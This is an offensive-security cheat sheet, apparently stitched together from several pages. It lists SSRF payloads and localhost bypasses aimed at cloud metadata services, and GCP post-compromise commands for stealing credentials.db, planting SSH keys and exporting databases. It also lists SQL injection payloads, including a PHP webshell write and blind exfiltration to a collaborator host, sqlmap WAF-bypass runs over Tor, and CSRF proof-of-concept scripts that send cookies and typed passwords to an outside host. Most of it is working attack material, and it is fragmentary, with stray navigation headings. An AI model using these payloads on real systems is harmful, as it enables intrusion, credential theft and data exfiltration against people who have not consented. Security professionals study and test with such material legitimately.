    https://ssrf.localdomain.pw/pdf-with-body/301-http-169.254.169.254:80-.p.pdf
    https://ssrf.localdomain.pw/pdf-with-body-md/301-http-.p.pdf
    
    # 30x custom:
    https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
    
    # 20x custom:
    https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
    
    # 201 custom:
    https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json
    
    # HTML iframe + URL bypass
    http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/
    
    # SFTP
    http://whatever.com/ssrf.php?url=sftp://evil.com:11111/
    
    evil.com:$ nc -v -l 11111
    Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
    SSH-2.0-libssh2_1.4.2
    
    # Dict
    http://safebuff.com/ssrf.php?dict://attacker:11111/
    
    evil.com:$ nc -v -l 11111
    Connection from [192.168.0.10] port 11111 [tcp/*] accepted (family 2, sport 36136)
    CLIENT libcurl 7.40.0
    
    # gopher
    # http://safebuff.com/ssrf.php?url=http://evil.com/gopher.php
    <?php
            header('Location: gopher://evil.com:12346/_HI%0AMultiline%0Atest');
    ?>
    
    evil.com:# nc -v -l 12346
    Listening on [0.0.0.0] (family 0, port 12346)
    Connection from [192.168.0.10] port 12346 [tcp/*] accepted (family 2, sport 49398)
    HI
    Multiline
    test
    
    # TFTP
    # http://safebuff.com/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
    
    evil.com:# nc -v -u -l 12346
    Listening on [0.0.0.0] (family 0, port 12346)
    TESTUDPPACKEToctettsize0blksize512timeout6
    
    # file
    http://safebuff.com/redirect.php?url=file:///etc/passwd
    
    # ldap
    http://safebuff.com/redirect.php?url=ldap://localhost:11211/%0astats%0aquit
    
    # SSRF Bypasses
    ?url=http://safesite.com&site.com
    ?url=http://////////////site.com/
    ?url=http://site@com/account/edit.aspx
    ?url=http://site.com/account/edit.aspx
    ?url=http://safesite.com?.site.com
    ?url=http://safesite.com#.site.com
    ?url=http://safesite.com\.site.com/domain
    ?url=https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
    ?url=https://192.10.10.3/
    ?url=https://192.10.10.2?.192.10.10.3/
    ?url=https://192.10.10.2#.192.10.10.3/
    ?url=https://192.10.10.2\.192.10.10.3/
    ?url=http://127.0.0.1/status/
    ?url=http://localhost:8000/status/
    ?url=http://site.com/domain.php
    <?php
    header(‘Location: http://127.0.0.1:8080/status');
    ?>
    
    # Localhost bypasses
    0
    127.00.1
    127.0.01
    0.00.0
    0.0.00
    127.1.0.1
    127.10.1
    127.1.01
    0177.1
    0177.0001.0001
    0x0.0x0.0x0.0x0
    0000.0000.0000.0000
    0x7f.0x0.0x0.0x1
    0177.0000.0000.0001
    0177.0001.0000..0001
    0x7f.0x1.0x0.0x1
    0x7f.0x1.0x1
    
    # Blind SSRF
    - Review Forms
    - Contact Us
    - Password fields
    - Contact or profile info (Names, Addresses)
    - User Agent
    
    # SSRF through video upload
    # https://hackerone.com/reports/1062888
    # https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS
    
    # SSRF in pdf rendering
    <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="highcharts-root" width="800" height="500">
        <g>
            <foreignObject width="800" height="500">
                <body xmlns="http://www.w3.org/1999/xhtml">
                    <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
                </body>
            </foreignObject>
        </g>
    </svg>
    http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
    http://%73%68%6d%69%6c%6f%6e%2e%63%6f%6d
    http://////////////site.com/
    http://0000::1:80/
    http://000330.0000072.0000326.00000343
    http://000NaN.000NaN
    http://0177.00.00.01
    http://017700000001
    http://0330.072.0326.0343
    http://033016553343
    http://0NaN
    http://0NaN.0NaN
    http://0x0NaN0NaN
    http://0x7f000001/
    http://0xd8.0x3a.0xd6.0xe3
    http://0xd8.0x3a.0xd6e3
    http://0xd8.0x3ad6e3
    http://0xd83ad6e3
    http://0xNaN.0xaN0NaN
    http://0xNaN.0xNa0x0NaN
    http://0xNaN.0xNaN
    http://127.0.0.1/status/
    http://127.1/
    http://2130706433/
    http://216.0x3a.00000000326.0xe3
    http://3627734755
    http://[::]:80/
    http://localhost:8000/status/
    http://NaN
    http://safesite.com#.site.com
    http://safesite.com&site.com
    http://safesite.com?.site.com
    http://safesite.com\.site.com/domain
    http://shmilon.0xNaN.undefined.undefined
    http://site.com/account/edit.aspx
    http://site.com/domain.php
    http://site@com/account/edit.aspx
    http://[email protected]
    https://192.10.10.2#.192.10.10.3/
    https://192.10.10.2?.192.10.10.3/
    https://192.10.10.2\.192.10.10.3/
    https://192.10.10.3/
    https://ⓈⒾⓉⒺ.ⓒⓞⓜ = site.com
    <?php
    header('Location: http://127.0.0.1:8080/status');
    ?>
    
    # Tool
    # https://h.43z.one/ipconverter/
    **Tools**
    # PurplePanda https://github.com/carlospolop/PurplePanda
    # Hayat https://github.com/DenizParlak/hayat
    # GCPBucketBrute https://github.com/RhinoSecurityLabs/GCPBucketBrute
    # GCP IAM https://github.com/marcin-kolda/gcp-iam-collector
    # GCP Firewall Enum: https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum
    # Prowler https://github.com/prowler-cloud/prowler
    
    Auth methods:
    • Web Access
    • API – OAuth 2.0 protocol
    • Access tokens – short lived access tokens for service accounts
    • JSON Key Files – Long-lived key-pairs
    • Credentials can be federated
    
    Recon:
    • G-Suite Usage
       ◇ Try authenticating with a valid company email address at Gmail
    
    Google Storage Buckets:
    • Google Cloud Platform also has a storage service called “Buckets”
    • Cloud_enum from Chris Moberly (@initstring) https://github.com/initstring/cloud_enum
       ◇ Awesome tool for scanning all three cloud services for buckets and more
          ▪ Enumerates:
             - GCP open and protected buckets as well as Google App Engine sites
             - Azure storage accounts, blob containers, hosted DBs, VMs, and WebApps
             - AWS open and protected buckets
    
    Phising G-Suite:
    • Calendar Event Injection
    • Silently injects events to target calendars
    • No email required
    • Google API allows to mark as accepted
    • Bypasses the “don’t auto-add” setting
    • Creates urgency w/ reminder notification
    • Include link to phishing page
    
    Steal Access Tokens:
    • Google JSON Tokens and credentials.db
    • JSON tokens typically used for service account access to GCP
    • If a user authenticates with gcloud from an instance their creds get stored here:
        ~/.config/gcloud/credentials.db
        sudo find /home -name "credentials.db"
    • JSON can be used to authenticate with gcloud and ScoutSuite
    
    Post-compromise
    • Cloud Storage, Compute, SQL, Resource manager, IAM
    • ScoutSuite from NCC group https://github.com/nccgroup/ScoutSuite
    • Tool for auditing multiple different cloud security providers
    • Create Google JSON token to auth as service account
    # Authentication with gcloud and retrieve info
    gcloud auth login
    gcloud auth activate-service-account --key-file creds.json
    gcloud auth activate-service-account --project=<projectid> --key-file=filename.json
    gcloud auth list
    gcloud init
    gcloud config configurations activate stolenkeys
    gcloud config list
    gcloud organizations list
    gcloud organizations get-iam-policy <org ID>
    gcloud projects get-iam-policy <project ID>
    gcloud iam roles list  --project=<project ID>
    gcloud beta asset search-all-iam-policies --query policy:"projects/xxxxxxxx/roles/CustomRole436" --project=xxxxxxxx
    gcloud projects list
    gcloud config set project <project name>
    gcloud services list
    gcloud projects list
    gcloud config set project [Project-Id]
    gcloud source repos list
    gcloud source repos clone <repo_name>
    
    # Virtual Machines
    gcloud compute instances list
    gcloud compute instances list --impersonate-service-account AccountName
    gcloud compute instances list --configuration=stolenkeys
    gcloud compute instances describe <instance id>
    gcloud compute instances describe <InstanceName> --zone=ZoneName --format=json | jq -c '.serviceAccounts[].scopes[]'
    gcloud beta compute ssh --zone "<region>" "<instance name>" --project "<project name>"
    # Puts public ssh key onto metadata service for project
    gcloud compute ssh <local host>
    curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H &#39;Metadata-Flavor:Google’
    # Use Google keyring to decrypt encrypted data
    gcloud kms decrypt --ciphertext-file=encrypted-file.enc --plaintext-file=out.txt --key <crypto-key> --keyring <crypto-keyring> --location global
    
    # Storage Buckets
    List Google Storage buckets
    gsutil ls
    gsutil ls -r gs://<bucket name>
    gsutil cat gs://bucket-name/anyobject
    gsutil cp gs://bucketid/item ~/
    
    # Webapps & SQL
    gcloud app instances list
    gcloud sql instances list
    gcloud spanner instances list
    gcloud bigtable instances list
    gcloud sql databases list --instance <instance ID>
    gcloud spanner databases list --instance <instance name>
    
    # Export SQL databases and buckets
    # First copy buckets to local directory
    gsutil cp gs://bucket-name/folder/ .
    # Create a new storage bucket, change perms, export SQL DB
    gsutil mb gs://<googlestoragename>
    gsutil acl ch -u <service account> gs://<googlestoragename>
    gcloud sql export sql <sql instance name> gs://<googlestoragename>/sqldump.gz --database=<database name>
    
    # Networking
    gcloud compute networks list
    gcloud compute networks subnets list
    gcloud compute vpn-tunnels list
    gcloud compute interconnects list
    gcloud compute firewall-rules list
    gcloud compute firewall-rules describe <rulename>
    
    # Containers
    gcloud container clusters list
    # GCP Kubernetes config file ~/.kube/config gets generated when you are authenticated with
    gcloud container clusters get-credentials <cluster name> --region <region>
    kubectl cluster-info
    
    # Serverless (Lambda functions)
    gcloud functions list
    gcloud functions describe <function name>
    gcloud functions logs read <function name> --limit <number of lines>
    # Gcloud stores creds in ~/.config/gcloud/credentials.db Search home directories
    sudo find /home -name "credentials.db
    # Copy gcloud dir to your own home directory to auth as the compromised user
    sudo cp -r /home/username/.config/gcloud ~/.config
    sudo chown -R currentuser:currentuser ~/.config/gcloud
    gcloud auth list
    
    # Databases
    gcloud sql databases list
    gcloud sql backups list --instance=test
    
    # Metadata Service URL
    # metadata.google.internal = 169.254.169.254
    curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H
    "Metadata-Flavor: Google"
    
    # Interesting metadata instance urls:
    http://169.254.169.254/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/
    http://metadata/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/instance/hostname
    http://metadata.google.internal/computeMetadata/v1/instance/id
    http://metadata.google.internal/computeMetadata/v1/project/project-id
    
    # Get access scope
    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
    
    # Get snapshot from instance and create instance from it
    gcloud compute snapshots list
    gcloud compute instances create instance-2 --source-snapshot=snapshot-1 --zone=us-central1-a
    # Check ssh keys attached to instance
    gcloud compute instances describe instance-1 --zone=us-central1-a --format=json | jq '.metadata.items[].value'
    # Check for "privilegeduser:ssh-rsa" and generate ssh keys with same username and paste in file
    ssh-keygen -t rsa -C "privilegeduser" -f ./underprivuser 
    # Something like:
    privilegeduser:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFGrK8V2k0xBeSzN+oUgnRLSIgUED7ayeUJJ10ryEFR0xJbFeGsRAL5LUzw1DTT9gRKmcMTjmZNU3E99bwyytV0fLnGVRIZ63oC8IdTESR0g8EnU6yam/ntq6gZF5QRcES3gaZlnssOQQhw0rvcCB7o5oM1zCDQtgJXAu/2UI6yKf3xdlcHdrULbKTR+0c7r2FWMLgdghGsA+yH3leHJWjDE/WJ1mqf+ZE+RvwLZ8TmVFJmI37xoKEeVnkmOrOe/TMYvtuzSQduHEUhhfjB8YPUYH7dGHyVPlRp/0Hsrjauf5//zNN9dyAZisElgF7CnJmtJVizfDxlXd/nwrVC8nf2xzbi8nc24STfTg3+lR1f73Z5xN9waPl3eHMNy7nXvShxSO01ZwwuyTmjNh83ik1PJjNU= privilegeduser
    privilegeduser:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDnLriKvJcwZ2eRUbYpy7ZiZrZub+ZblHgKhATPnRjEXK7Q5U3vOFutCeMavxQ82yIwne6b6LzDAfKeS6wlez1ll2npGhKpb8mAM+ZIKxdTAoAhenOlLlmMyYHhJs/UjkTtj7TZDIEa/uZjZgClK5fmgkYjprsRbPOtAru8fBAOAWfMtrXYFmUJy94iMIvYpRuUPTZ0XUkzmyETNspZOwoOd+K2yTmFor4mWIgTzbaeAtJA+b+nQmXM1Ya1RfalpQsomXnkhqihh/wmqJMDGIJT1YgepMxbj4wy5WyUlE4Ub+/Wh7Lyu51jaRJ++FYh/pgb3m3d8t7B6b2Jj7ldxicQSPu6Mc9TZ5QrPx91dOe/Mzmte2kW7AF8xXo+Se71Ffc5csupUo62uyeXt12F+qNiqHeJXSomxck7rRwonnUhyNJ2icCPogsbDNDjHvdXmGsrXNFU= privilegeduser
    # Upload the file with the 2 keys and access to the instance
    gcloud compute instances add-metadata instance-1 --metadata-from-file ssh-keys=keys.txt --zone us-central1-a
    ssh -i underprivuser [email protected]
    
    # Re-authentication the account keys
    # Find keys in instance
    cd /home/<username>/.config/gcloud
    cat credentials.db
    # Copy the credentials, make a new json file inside your computer and paste it.
    gcloud auth activate-service-account --key-file <file>.json
    # Now can access API
    # MySQL:
    http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
    https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
    
    # MSQQL:
    http://evilsql.com/main/page2.php
    http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
    
    # ORACLE:
    http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet
    
    # POSTGRESQL:
    http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
    
    # Others
    http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
    http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet
    http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet
    http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet
    https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
    http://rails-sqli.org/
    https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
    # Read file
    UNION SELECT LOAD_FILE ("etc/passwd")-- 
    
    # Write a file
    UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/tmp/shell.php"-
    # Conditional Responses
    
    # Request with:
    Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
    
        In the DDBB it does:
        SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' - If exists, show content or “Welcome back”
    
    # To detect:
    TrackingId=x'+OR+1=1-- OK
    TrackingId=x'+OR+1=2-- KO
    # User admin exist
    TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'-- OK
    # Password length
    TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>1--
    
    # So, in the cookie header if first letter of password is greater than ‘m’, or ‘t’ or equal to ‘s’ response will be ok.
    
    xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--
    xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--
    xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--
    z'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,6,1)='§a§'--
    
    # Force conditional responses
    
    TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS ERROR IF OK
    TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=2)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS NORMALLY IF KO
    TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,3,1)='§a§')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--;
    
    # Time delays
    TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
    TrackingId=x'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
    TrackingId=x'; IF (1=2) WAITFOR DELAY '0:0:10'--
    TrackingId=x'||pg_sleep(10)--
    TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
    TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
    
    # Out-of-Band OAST (Collaborator)
    Asynchronous response
    
    # Confirm:
    TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
    
    # Exfil:
    TrackingId=x'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
    TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
    # A second-order SQL Injection, on the other hand, is a vulnerability exploitable in two different steps:
    1. Firstly, we STORE a particular user-supplied input value in the DB and
    2. Secondly, we use the stored value to exploit a vulnerability in a vulnerable function in the source code which constructs the dynamic query of the web application.
    
    # Example payload:
    X' UNION SELECT user(),version(),database(), 4 --
    X' UNION SELECT 1,2,3,4 --
    
    # For example, in a password reset query with user "User123' --":
    
    $pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123' — ' and password='UserPass@123'");
    
    # Will be:
    
    $pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123'");
    
    # So you don't need to know the password.
    
    - User = ' or 'asd'='asd it will return always true
    - User = admin'-- probably not check the password
    # Post
    sqlmap -r search-test.txt -p tfUPass
    
    # Get
    sqlmap -u "http://10.11.1.111/index.php?id=1" --dbms=mysql
    
    # Crawl
    sqlmap -u http://10.11.1.111 --dbms=mysql --crawl=3
    
    # Full auto - FORMS
    sqlmap -u 'http://10.11.1.111:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch
    # Columns 
    sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --columns -T users -D admin
    # Values
    sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --dump -T users -D admin
    
    sqlmap -o -u "http://10.11.1.111:1337/978345210/index.php" --data="username=admin&password=pass&submit=+Login+" --method=POST --level=3 --threads=10 --dbms=MySQL --users --passwords
    
    # SQLMAP WAF bypass
    
    sqlmap --level=5 --risk=3 --random-agent --user-agent -v3 --batch --threads=10 --dbs
    sqlmap --dbms="MySQL" -v3 --technique U --tamper="space2mysqlblank.py" --dbs
    sqlmap --dbms="MySQL" -v3 --technique U --tamper="space2comment" --dbs
    sqlmap -v3 --technique=T --no-cast --fresh-queries --banner
    sqlmap -u http://www.example.com/index?id=1 --level 2 --risk 3 --batch --dbs
    
    
    sqlmap -f -b --current-user --current-db --is-dba --users --dbs
    sqlmap --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs
    sqlmap --risk 3 --level 5 --random-agent --proxy http://123.57.48.140:8080 --dbs
    sqlmap --random-agent --dbms=MYSQL --dbs --technique=B"
    sqlmap --identify-waf --random-agent -v 3 --dbs
    
    1 : --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
    2 : --parse-errors -v 3 --current-user --is-dba --banner -D eeaco_gm -T #__tabulizer_user_preferences --column --random-agent --level=5 --risk=3
    
    sqlmap --threads=10 --dbms=MYSQL --tamper=apostrophemask --technique=E -D joomlab -T anz91_session -C session_id --dump
    sqlmap --tables -D miss_db --is-dba --threads="10" --time-sec=10 --timeout=5 --no-cast --tamper=between,modsecurityversioned,modsecurityzeroversioned,charencode,greatest --identify-waf --random-agent
    sqlmap -u http://192.168.0.107/test.php?id=1 -v 3 --dbms "MySQL" --technique U -p id --batch --tamper "space2morehash.py"
    sqlmap --banner --safe-url=2 --safe-freq=3 --tamper=between,randomcase,charencode -v 3 --force-ssl --dbs --threads=10 --level=2 --risk=2
    sqlmap -v3 --dbms="MySQL" --risk=3 --level=3 --technique=BU --tamper="space2mysqlblank.py" --random-agent -D damksa_abr -T admin,jobadmin,member --colu
    
    sqlmap --wizard
    sqlmap --level=5 --risk=3 --random-agent --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql
    sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor --dbms=mssql
    sqlmap -url www.site.ps/index.php --level 5 --risk 3 tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes --dbms=mssql
    
    # Tamper suggester
    https://github.com/m4ll0k/Atlas
    
    --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent
    --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" --tables
    --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" --columns
    --tamper "randomcase.py" --tor --tor-type=SOCKS5 --tor-port=9050 --dbs --dbms "MySQL" --current-db --random-agent -D "pache_PACHECOCARE" -T "edt_usuarios" -C "ud,email,usuario,contra" --dump
    # Tamper list
    between.py,charencode.py,charunicodeencode.py,equaltolike.py,greatest.py,multiplespaces.py,nonrecursivereplacement.py,percent
    Logo
  • A relevant action.

  • Cookie-based session handling.

  • No unpredictable request parameters.

  • How to find:

    • Remove CSRF token from requests and/or put a blank space.

    • Change POST to GET.

    • Replace the CSRF token with a random value (for example 1).

    • Replace the CSRF token with a random token of the same restraints.

    • Extract token with HTML injection.

    • Use a CSRF token that has been used before.

    • Bypass regex.

    • Remove referer header.

    • Request a CSRF by executing the call manually and use that token for the request.

    Approach

    Quick attacks

    Tools

    Example 1

    Example 2

    Json CSRF

    CSRF Token Bypass

    CSRF sample POC

    CSRF to reflected XSS

    Mindmaps

    General / AIO

    Whois/Registrant Tools

    Dorks

    Google

    Tools

    Dorks

    GitHub

    Tools

    Dorks

    Shodan

    Dorks

    ASN/CIDR Tools

    Credentials leaks

    Email tools

    GIT tools

    Metadata

    Social Media

    General

    Tools

    Audit policies

    Comparison table

    Recon

    Cloud Labs

    • AWS Labs

      • flaws.cloud

      • flaws2.cloud

      • https://github.com/OWASP/Serverless-Goat

    - Removing the token parameter entirely
    - Setting the token to a blank string
    - Changing the token to an invalid token of the same format
    - Using a different user's token
    - Put the parameters in the URL instead of POST body (and remove the token) and change the HTTP verb to GET
    - Testing every sensitive endpoint
    - Check whether the token might be guessed / cracked
    - Check whether new tokens are generated for every session, if not they may be a hash of something simple like the user's email address. If so you can craft your own valid tokens.
    - Try building the payload with multiple methods including a standard HTML form, multipart form, and XHR (Burp can help)
    # HTML GET
    <a href=”http://vulnerable/endpoint?parameter=CSRFd">Click</a>
    
    # HTML GET (no interaction)
    <img src=”http://vulnerable/endpoint?parameter=CSRFd">
    
    # HTML POST:
    <form action="http://vulnerable/endpoint" method="POST">
    <input name="parameter" type="hidden" value="CSRFd" />
    <input type="submit" value="Submit Request" />
    </form>
    
    # HTML POST (no interaction)
    <form id="autosubmit" action="http://vulnerable/endpoint" method="POST">
    <input name="parameter" type="hidden" value="CSRFd" />
    <input type="submit" value="Submit Request" />
    </form>
    <script>
    document.getElementById("autosubmit").submit();
    </script>
    
    # JSON GET:
    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://vulnerable/endpoint");
    xhr.send();
    </script>
    
    # JSON POST
    <script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://vulnerable/endpoint");
    xhr.setRequestHeader("Content-Type", "text/plain");
    xhr.send('{"role":admin}');
    </script>
    # https://github.com/0xInfection/XSRFProbe
    xsrfprobe --help
    
    https://csrfshark.github.io/
    Vulnerable request example:
    __
    POST /email/change HTTP/1.1
    Host: vulnerable-website.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 30
    Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
    
    [email protected]
    __
    
    HTML with attack:
    __
    <html>
      <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
          <input type="hidden" name="email" value="[email protected]" />
        </form>
        <script>
          document.forms[0].submit();
        </script>
      </body>
    </html>
    __
    # Exploit CSRF in GET:
    <img src="https://vulnerable-website.com/email/[email protected]">
    
    - SameSite cookie property avoid the attack:
       → Only from same site:
        SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict; 
       → From other site only if GET and requested by click, not scripts (vulnerable if CSRF in GET or POST converted to GET):    
        SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax; 
    
    <script>
    fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
    method: 'POST',
    mode: 'no-cors',
    body:document.cookie
    });
    </script>
    
    <input name=username id=username>
    <input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
    method:'POST',
    mode: 'no-cors',
    body:username.value+':'+this.value
    });">
    Requirements:
    
    1. The authentication mechanism should be in the cookie-based model. (By default cookie-based authentication is vulnerable to CSRF attacks)
    2. The HTTP request should not be fortify by the custom random token on the header as well in the body.(X-Auth-Token)
    3. The HTTP request should not be fortify by the Same Origin Policy.
    
    Bypass 2 & 3:
    • Change the request method to GET append the body as query parameter.
    • Test the request without the Customized Token (X-Auth-Token) and also header.
    • Test the request with exact same length but different token.
    
    If post is not allowed, can try with URL/param?_method=PUT
    
    
    <body onload='document.forms[0].submit()'>
    <form action="https://<vulnerable-url>?_method=PUT" method="POST" enctype="text/plain">
      <input type="text" name='{"username":"blob","dummy":"' value='"}'>
      <input type="submit" value="send">
    </form>
    
    <!---This results in a request body of:
    {"username":"blob", "dummy": "="} -->
    CSRF Tokens
    
    Unpredictable value generated from the server to the client, when a second request is made, server validate this token and reject the request if is missing or invalid. Prevent CSRF attack because the malicious HTTP request formed can't know the CSRF Token generated for the victim.
       → Is transmited to the client through a hidden field:
    
    
    - Example:
        __
        POST /email/change HTTP/1.1
        Host: vulnerable-website.com
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 68
        Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
    
        csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&[email protected]
        __
    
    - Validation depends on method (usually POST):
        __
        GET /email/[email protected] HTTP/1.1
        Host: vulnerable-website.com
        Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
        __
    
    - Validation depend on token is present (if not, validation is skipped):
        --
        POST /email/change HTTP/1.1
        Host: vulnerable-website.com
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 25
        Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
    
        [email protected]
        --
    - CSRF not tied to user session
    
    - CSRF tied to a non-session cookie:
        --
        POST /email/change HTTP/1.1
        Host: vulnerable-website.com
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 68
        Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
    
        csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&[email protected]
        --
    
    - CSRF token duplicated in cookie:
        --
        POST /email/change HTTP/1.1
        Host: vulnerable-website.com
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 68
        Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
    
        csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&[email protected]
        --
    
    - Validation of referer depends on header present (if not, validation is skipped)
    
    - Circumvent referer validation (if only checks the domain existence)
    
